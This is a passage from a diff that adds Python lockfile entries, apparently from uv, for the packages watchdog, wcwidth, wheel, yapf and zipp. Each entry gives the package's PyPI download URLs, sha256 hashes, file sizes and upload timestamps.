"https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "wcwidth" +version = "0.5.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c2/62/a7c072fbfefb2980a00f99ca994279cb9ecf310cb2e6b2a4d2a28fe192b3/wcwidth-0.5.3.tar.gz", hash = "sha256:53123b7af053c74e9fe2e92ac810301f6139e64379031f7124574212fb3b4091", size = 157587, upload-time = "2026-01-31T03:52:10.92Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/c1/d73f12f8cdb1891334a2ccf7389eed244d3941e74d80dd220badb937f3fb/wcwidth-0.5.3-py3-none-any.whl", hash = "sha256:d584eff31cd4753e1e5ff6c12e1edfdb324c995713f75d26c29807bb84bf649e", size = 92981, upload-time = "2026-01-31T03:52:09.14Z" }, +] + +[[package]] +name = "wheel" +version = "0.46.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/89/24/a2eb353a6edac9a0303977c4cb048134959dd2a51b48a269dfc9dde00c8a/wheel-0.46.3.tar.gz", hash = "sha256:e3e79874b07d776c40bd6033f8ddf76a7dad46a7b8aa1b2787a83083519a1803", size = 60605, upload-time = "2026-01-22T12:39:49.136Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/22/b76d483683216dde3d67cba61fb2444be8d5be289bf628c13fc0fd90e5f9/wheel-0.46.3-py3-none-any.whl", hash = "sha256:4b399d56c9d9338230118d705d9737a2a468ccca63d5e813e2a4fc7815d8bc4d", size = 30557, upload-time = "2026-01-22T12:39:48.099Z" }, +] + +[[package]] +name = "yapf" +version = "0.43.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "platformdirs" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/23/97/b6f296d1e9cc1ec25c7604178b48532fa5901f721bcf1b8d8148b13e5588/yapf-0.43.0.tar.gz", hash = "sha256:00d3aa24bfedff9420b2e0d5d9f5ab6d9d4268e72afbf59bb3fa542781d5218e", size = 254907, upload-time = "2024-11-14T00:11:41.584Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/81/6acd6601f61e31cfb8729d3da6d5df966f80f374b78eff83760714487338/yapf-0.43.0-py3-none-any.whl", hash = "sha256:224faffbc39c428cb095818cf6ef5511fdab6f7430a10783fdfb292ccf2852ca", size = 256158, upload-time = "2024-11-14T00:11:39.37Z" }, +] + +[[package]] +name = "zipp" +version = "3.21.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3f/50/bad581df71744867e9468ebd0bcd6505de3b275e06f202c2cb016e3ff56f/zipp-3.21.0.tar.gz", hash = "sha256:2c9958f6430a2040341a52eb608ed6dd93ef4392e02ffe219417c1b28b5dd1f4", size = 24545, upload-time = "2024-11-10T15:05:20.202Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/1a/7e4798e9339adc931158c9d69ecc34f5e6791489d469f5e50ec15e35f458/zipp-3.21.0-py3-none-any.whl", hash = "sha256:ac1bbe05fd2991f160ebce24ffbac5f6d11d83dc90891255885223d42b3cd931", size = 9630, upload-time = "2024-11-10T15:05:19.275Z" }, +]